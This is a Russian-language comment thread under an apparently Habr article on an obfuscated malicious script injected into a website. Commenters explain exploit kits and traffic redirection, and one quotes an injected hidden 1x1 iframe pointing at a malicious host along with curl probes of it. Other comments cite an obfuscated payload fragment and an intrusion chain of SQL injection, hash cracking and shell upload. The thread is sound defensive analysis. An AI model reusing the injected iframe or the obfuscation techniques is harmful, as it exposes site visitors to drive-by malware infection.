Pull to refresh

Comments 85

В скрипте не только «1» вместо «l», но и analitics вместо analytics
Да и правда, спасибо за внимательность. Но всё же, с первого раза я не подумал ничего плохого на этот скрипт, но потом всё же решил проверить
UFO just landed and posted this here
Для далеких от веб — что такое «слив трафика»?
Вставка кода, таким образом, что у посетителя подгружается еще один сайт, того кто сливает. В результате этот траффик можно использовать в разнообразных целях
То есть, я правильно понимаю, что кто-то таким образом поднимает себе количество посетителей сайта? Или «слив трафика» это что-то другое?

Извините, я тоже далёк от веба, но новость заинтересовала.
накрутка посетителей это самое безобидное, обычно троянов подсаживают
на подгружаемом хосте обычно находится так называемая «связка» — набор эксплоитов, которые используют уязвимости вашего браузера или плагинов к нему для выполнения произвольного кода и, как следствие, выполнения различной малвари: win-блокеров, ddos-ботов, формграбберов и т.д. Связка определяет версию браузера, доступен ли флэш, ява, etc, затем отдает подходящий эксплоит, на настоящее время самым актуальным эксплоитом является Java Rhino (CVE-2011-3544).
P.S. используйте Google Chrome
А у меня сайт на Common Lisp и MySql я не использую, но все равно пост порадовал — хорошо что у меня такого нет и не будет :)
Радуйтесь дальше, все хорошо )
Помойму роли нет на чём написан сайт, всё равно языком програмирования Вы генерируете и преподносите HTML-код конечному юзеру. А данный топик касается именно HTML, так что Вам боятся есть чего
Порадовал Касперский — не одна ссылка не открылась, всё блокировалось.
Но грустно то, что время от времени я попадаю на странички с ворнами от Касперского.
Чаще, чем раньше :(
Моя уверенность в К. закончилась давно, в тот момент, когда явно вирусный файл он почему-то не отдетектил (знакомый скачал что-то подозрительное, проверил лицензионным К., запустил — и попал...)

К. сам по себе не виноват: вирус можно написать так, что его ни один эвристический, не то что сигнатурный, детектор, не заметит, разве что всполошится какая-нибудь система анализа поведения в системе, если очень повезет. Зашита от фишинга тоже не исключение, она работает по спискам и оценкам, а это дело такое, не 100% надежное…

Про знакомого этого — вроде как он «сам виноват, зачем подозрительный файл открыл», но через 1х1 фрейм можно незаметно подлить на машину очень даже много «добра».

Вывод — бекапиться, не верить в защиту, осторожничать, запрещать все, разрешать только нужное. Которое, если не повезет, вполне будет пропущено системами защиты.

Осталось себя только заставить жить именно так, и никак иначе! ))
Я согласен с Вами, и в целом Вы правы.
Да и рассуждать на эту тему можно много.
Из АВ решений Касперский не зря считается наилучшим.
Как бы там нибыло, главная защита — голова. И каспер, и система предупредят в большинстве случаев пользователя. Если конечно пользователь не сидит под админкой в системе.
Как говорил Кевин Митник, безопасность слишком часто просто иллюзия и иногда иллюзия может быть хуже легковерия, наивности или невежества.
Я всегда себе напоминаю фразу — «я плачу в интернет-магазинах кредиткой не потому, что верю интернет-магазину, а потому, что, случись кому-то украсть номер моей карты и купить что-то, я опротестую эти покупки, и ничего не потеряю».

Когда же риск потери (данных, работы, времени) не прикрыт кем-то сторонним, остается все время проверять и ничему не доверить. И хорош ли К, или нет — дело-то десятое, пусть он отбивает (условно) 990 из 1000 атак, против 950 из 1000 у конкурентов, с остатком (10 или 50) останется иметь дело мне самому…

У меня у знакомого украли пароль от ftp-доступа к его сайту. Точнее, просто подобрали, т.к. вирусни на машине не нашлось. Так он узнал об этом, только когда Гугл его сайт в опасные занес — вот что обидно. К, кстати, и в его случае был куплен, и работал…
>используйте Google Chrome
Вы же хотели сказать «любой современный браузер с автоматическим обновлением», правильно?
От 0day эксплоитов автоматическое обновление не спасёт.
UFO just landed and posted this here
Весьма значительная доля «браузерных» эксплойтов нынче разрабатывается не под сами браузеры, а всевозможные плагины: Flash проигрыватель, Java RE, Adobe Reader, Windows Media Player.
Браузеры то уже худо-бедно научились регулярно патчить и автообновлять, а с остальным пока не так радужно.
Это проценты от чего? Какие версии браузеров?
Хром с самого начала обновляется в фоне без участия пользователя. Новый ФФ тоже так умеет, но число людей, сидящих на старых версиях всё ещё велико.
это процент так называемого пробива: количество браузеров, через которые удалось загрузить малварь, от общего числа (все версии конкретного браузера). Да, автоапдейт играет ключевую роль, но вот еще несколько преимуществ хрома:
scarybeastsecurity.blogspot.com/2012/01/dirty-secret-of-browser-security-1.html
Действительно, с обновлением плагинов могут быть проблемы. Но, например, у флеша есть свой механизм автообновлений, а остальные лучше вообще отключать в любом браузере. Кстати, изначально никаких плагинов в браузерах нет, а при их установке пользователь всегда предупреждается об опасности.
UFO just landed and posted this here
Да. Очень часто это используется не для накрутки траффика, а для отдачи вирусни, в целях пополнения ботнетов, получения профита с винлокеров, и т.д.
Но почему тогда в скрипте ya.ru? Зачем Яндексу хиты поднимать?
Насколько я понял, если передается параметр, то грузится то что нужно владельцу ТДС, иначе редирект на ya.ru, от любопытных.
как отметил автор, используется TDS (Trafic Distribution System) — система распределения трафика. В ней, по всей видимости, задано правило, при котором посетители без Referer перенаправляются на безобидный ya.ru
Не могли бы Вы пояснить, что за термин такой «слив траффика»? Без ведома пользователя в фрейм грузятся левые страницы для создания уникальных посетителей на них? Или у кого-то есть лишний траффик, который надо «слить» в смысле потратить? Конечно, можно найти описание в интернете, но хотелось бы прямо из статьи понимать, что автор имел в виду (слишком специальная тема).
Там упомянута связка. Это пачка эксплоитов которая «пробивает» браузер с целью заражения посетителя какой-нибудь софтинкой.
Сегодня похожее было на 2х проектах клиентов. Только используется iframe:
iframe width=«1» height=«1» frameborder=«0» scrolling=«no» src=«hotlog.my03.com/vse» /iframe

Делаем $ curl hotlog.my03.com/vse
Результат: pastebin.com/09Hk4S1X

Схема такая же. Далее если запросить полученный адрес через curl, то получаем:
$ curl hotlog.my03.com/go/in.cgi?2
meta http-equiv=«REFRESH» content=«1; URL='http://google.com'»

Тут уже редирект на гугл:)

Пояните плиз, в двух словах эту фразу «Раскодируем поэтапно скрипт воспользовавшись обратными функциями:»
Нужно делать все тоже самое, когда кодировали скрипт, только в обратном порядке. Например: При кодировке перевели некоторые символы в шеснадцатеричную систему, а когда мы расшифровываем скрипт, мы переводим из шеснадцатеричной в десятеричную.
Я тоже далек от веба и джава скрипта, но интересно было бы понять. А как вы поняли каким образом перекодировать в первый раз и во второй и какой тулзой это делали или каким кодом? Я вот посмотрел отличия и сходу не усмотрел каких то закономерностей, заметил только, что переменные как-то адски перестали называться с долларами и строки поменялись. Какое слово надо в гугле поискать, чтобы про это почитать?
Видимо, общей практики нет. Например, я в функции $sA закомментировал последнюю строчку, которая эвалит злобный код ($E — это Window), и распечатал значение переменной var x = $E[$d.$fJ]($j); (тут делает decodeURIComponent конечной строки, которой закончились преобразования). Получился код, как в третьем подходе у автора, но вот unescape не отработал (выводит ту же строку). Его надо применять как-то посимвольно?
Да, обрабатываем все части в ручную — отдельно от всего кода, и выводим результат через алерт
Ну так а что, ребята? Это хозяйство попадает под 272 статью, напишите заявление в ментуру, вам бесплатно, а они пусть отрабатывают.
Пустая трата времени.
А что, по-вашему, должен был сделать взломщик? Дефейснуть сайт и разместить голую жопу на глагне?
Что делать взломщику — это его дело. Дырки, судя по всему, две, а не одна. Вторую тоже не помешает заделать.
UFO just landed and posted this here
XSS внедренный в SQL inj это SiXSS, но тут явно речь не об этой атаке.
XSS тут как последствие (возможной) SQL инъекции, но не как активный результат SQL инъекции.
Вы правы, я сделал неправильный вывод из того, что сдвинулся div. Как оказалось, получили хеш админа.
Прямо таки рассадник зла. Чувак себе купил доменов, продает иньекцию и кому то там надо для целей нехороших. Я вот не пойму на самом деле — они же не могут адресно атаковать конкретных людей. Выходит у них цель просто замутить себе свой ботнет?
Очень хотелось бы выяснить каким образом через sql-инъекцию могли поменять шаблон сайта? Или шаблоны в бд лежат?
Судя по тому, что взломщик не смог вставить скрипт, не покорёжив верстку, возможно, какие-то данные из базы выводятся в сыром виде, в атрибут какго-то тега.
как вариант sql инъекция->список хешей администраторов->подбор паролей к хешам->admin доступ
-> Правка шаблона из админки (например, если это Joomla) и/или загрузка «шелла» через эксплойты на сервер для последующей правки всего что можно
Скажите, подобную загрузку других сайтов можно как-то обнаружить плагинами к Firefox? Покажут ли это плагины, показывающие лог загрузки сайта? Какой плагин порекомендуете?
Лог загрузки сайта может показать Firebug (вкладка сеть), сейчас что-то похожее есть во всех браузерах по клавише F12.
Но вот чтобы само ловило попытки инъекций — я такого не знаю.
NoScript для Firefox блокирует скрипты с неразрешенных доменов.
Обнаружить — врядли, а вот обезопасить может — NoScript. Только если разрешаешь скрипт — следи чтобы не разрешить случайно goog1e вместо google (хотя у меня так вообще google-analytics по умолчанию везде забанен за ненадобностью)
хорошее зрение вот грамота спасибо =)
Интересно, обнаруживает ли Яндекс подобные вещи на сайтах с целью предупреждения вебмастеров?
Как Яндекс узнал о заражении?
Яндекс проверяет страницы сайтов из поискового индекса. Для определения, присутствует ли на странице вредоносный код, используется технология нашего партнера компании Sophos® и собственный антивирусный комплекс.
наверх

Как часто происходят проверки?
Периодичность проверок может отличаться для разных сайтов. Невозможно гарантировать, что какой-то определенный сайт был или будет проверен в строго определенное время. Поэтому данные о появлении вредоносного кода на сайтах или его устранении могут обновляться с задержкой.
Если было выявлено, что сайт заражен, он обязательно будет в дальнейшем перепроверяться. С каждой новой проверкой интервалы между ними будут становиться больше. Поэтому чем раньше будет найден и устранен вредоносный код, тем оперативнее Яндекс об этом узнает и снимет пометку о потенциальной опасности сайта.


help.yandex.ru/webmaster/?id=1059440
>> $P = '$??^$((.=-$^>_=;$=>.>.>?>[=;$=>.>.>?[??>$=?_?=?#$[(#?>$(?=?^$[=;$=>.>.>
Это ведь не руками пишется? Как вообще столь мелкий скрипт раздувается? о_0 Обфускатор какой-то используется или что-то подобное, да?

>> Раскодируем поэтапно скрипт воспользовавшись обратными функциями:.
Не могли бы вы подробнее рассказать об этом?
Согласен. Тоже интересует.
Раскодируем поэтапно скрипт воспользовавшись обратными функциями:


Совершенно неясно какими обратными функциями Вы пользовались. Обычно для расшифровки обфусцированного Java Script достаточно вызвать через alert() зашифрованные данные после их расшифровки самим скриптом. Но здесь этого не происходит.
Сегодня буду писать подробную статью, как это делается.
Только хотел задать тот же вопрос. Очень буду ждать.
Вот да! Будет шикарно!
И это, если возможно, затроньте не только JS, но и другие скриптовые языки. Наверняка ведь есть какие-то общие моменты.
PHP например. Там тоже встречал монструозные, страшные конструкции когда искал примеры кода.

А, и еще момент по теме анализа! Знаете, бывает хочешь посмотреть какой-нибудь скрипт, открываешь, а он не для людей совсем. Т.е. для машины синтаксис правильный, но сам код в пару длииииинных строчек. Как с этим быть? Существуют ли ~«pretty_print'еры»?
Спасибо, конечно. Но зачем плодить статьи? Почему нельзя сделать одну полноценную? Если из данной статьи выбросить весь код, который так и не объяснён как деобфусцирован, то статья получится в 3 строчки.
В данном случает даже alert не нужен. Firebug -> сценарии -> показывать eval-скрипты -> найти, что он выполнил.
Опасное занятие, случайно пробить себя сплоитом плёвое дело. Но если уже загрузили страницу, можно одним глазком подглядеть.
Конечно не руками. Если посмотреть ссылку выше на antichat, то нетрудно найти тему где автор поделки предоставляет услуги шифрования javascript
forum.antichat.ru/thread303899.html
Обфускаторов полно подобных, платных, бесплатных, левых, правых…

Например такой вроде тут (на Хабре в смысле) о нём и вычитал, и по моему там было и инфо о раскодировке…
Самописная, нашел там шелл, через который вставили потом код.
Действия следующие: получили хеш админа, залили шел, вставили код.
Как вы расшифровали код плохо понял, ну да ладно, сам имел дело с чем-то подобным года 3 назад. Принцип тот же был. Спасибо, не думал что такое еще встречается где-то.
Почему-то кажется мне что надо узнать значение $w и внутри функции $sA значение $E[$d.$fJ]($j), тогда весь скрипт станет как на ладони, делать это на своем ноуте правда не хочется…
я увидел, что чуть-чуть сместился один div — глаз алмаз )
Интересно, RequestPolicy для FF видит такое/спасает от подобного?
А что это за трюк?
_q[_n]('frameborder', navigator.userAgent.indexOf('f0a7a142b755172da72ff74a1ac25199') + 1);

Понятно что setAttribute('frameborder', 0) в частном случае, но зачем извращение с f0a7a142b755172da72ff74a1ac25199 и что это в целом за магическая строка? Может троянчеки должны в юзер агент вписывать эту строку и ставить бордер отличный от нуля для ранее зараженных пользователей, но опять таки зачем?
Код аналогичен _q.setAttribute('frameborder, 0);. Делается для того чтобы убрать рамку трехмерную вокруг iframe. Магическая константа — md5 хеш, если кто расшифрует — будет понятнее.
navigator.userAgent.indexOf('f0a7a142b755172da72ff74a1ac25199') всегда возвращает -1, так что не думаю что в этом хеше есть что-то интересное. Более вероятно добавлен для того чтобы наверняка не оказаться в UserAgent браузера.
Наверно для этого достаточно было бы один символ, недопустимый по протоколу написать, откуда-нибудь из экзотических недр Юникода.
Хотя это, разумеется, не отменяет возможность использования хеша, по каким-то скрытым мотивам автора кода
«что это в целом за магическая строка?»

Хеш соответствует строке «1326450996». Число, судя по всему, случайное и в интернете маловстречающееся.

Было бы логично, если бы этот хэш присутствовал в UserAgent знающих людей (то бишь автора и, возможно, его клиентов) — чтобы самим видеть, что попал на заражённый сайт — либо как сигнал опасности, либо как индикатор, что скрипт установился успешно.
Стало интересно чем это закриптованно, нагуглил их сервис — cryptoservice.info, и видать до них дошел хабраэффект, так как в новостях они написали:
Наш сервис относительно молод, но функционал наш велик. Спустя несколько месяцев с начала нашей работы мы заметили, что у нас превалирует часть клиентов, криптующих исключительно iframe, хотя сервис изначально задумывался как платный криптер/обфускатор Javascript-кода вообще. Теперь мы видим, что это используется для распространения вредоносного ПО. С этого момента мы прекращаем криптовать iframe-коды. Доступными останутся только криптеры Javascript, контента и ссылок. В течении недели криптер iframe будет убран с нашего сервиса. Пользователям с уже оплаченным аккаунтом iframe-криптер будет доступен до истечения аккаунта.
Наш сервис относительно молод, но функционал наш велик
в мемориз
UFO just landed and posted this here
Sign up to leave a comment.

Articles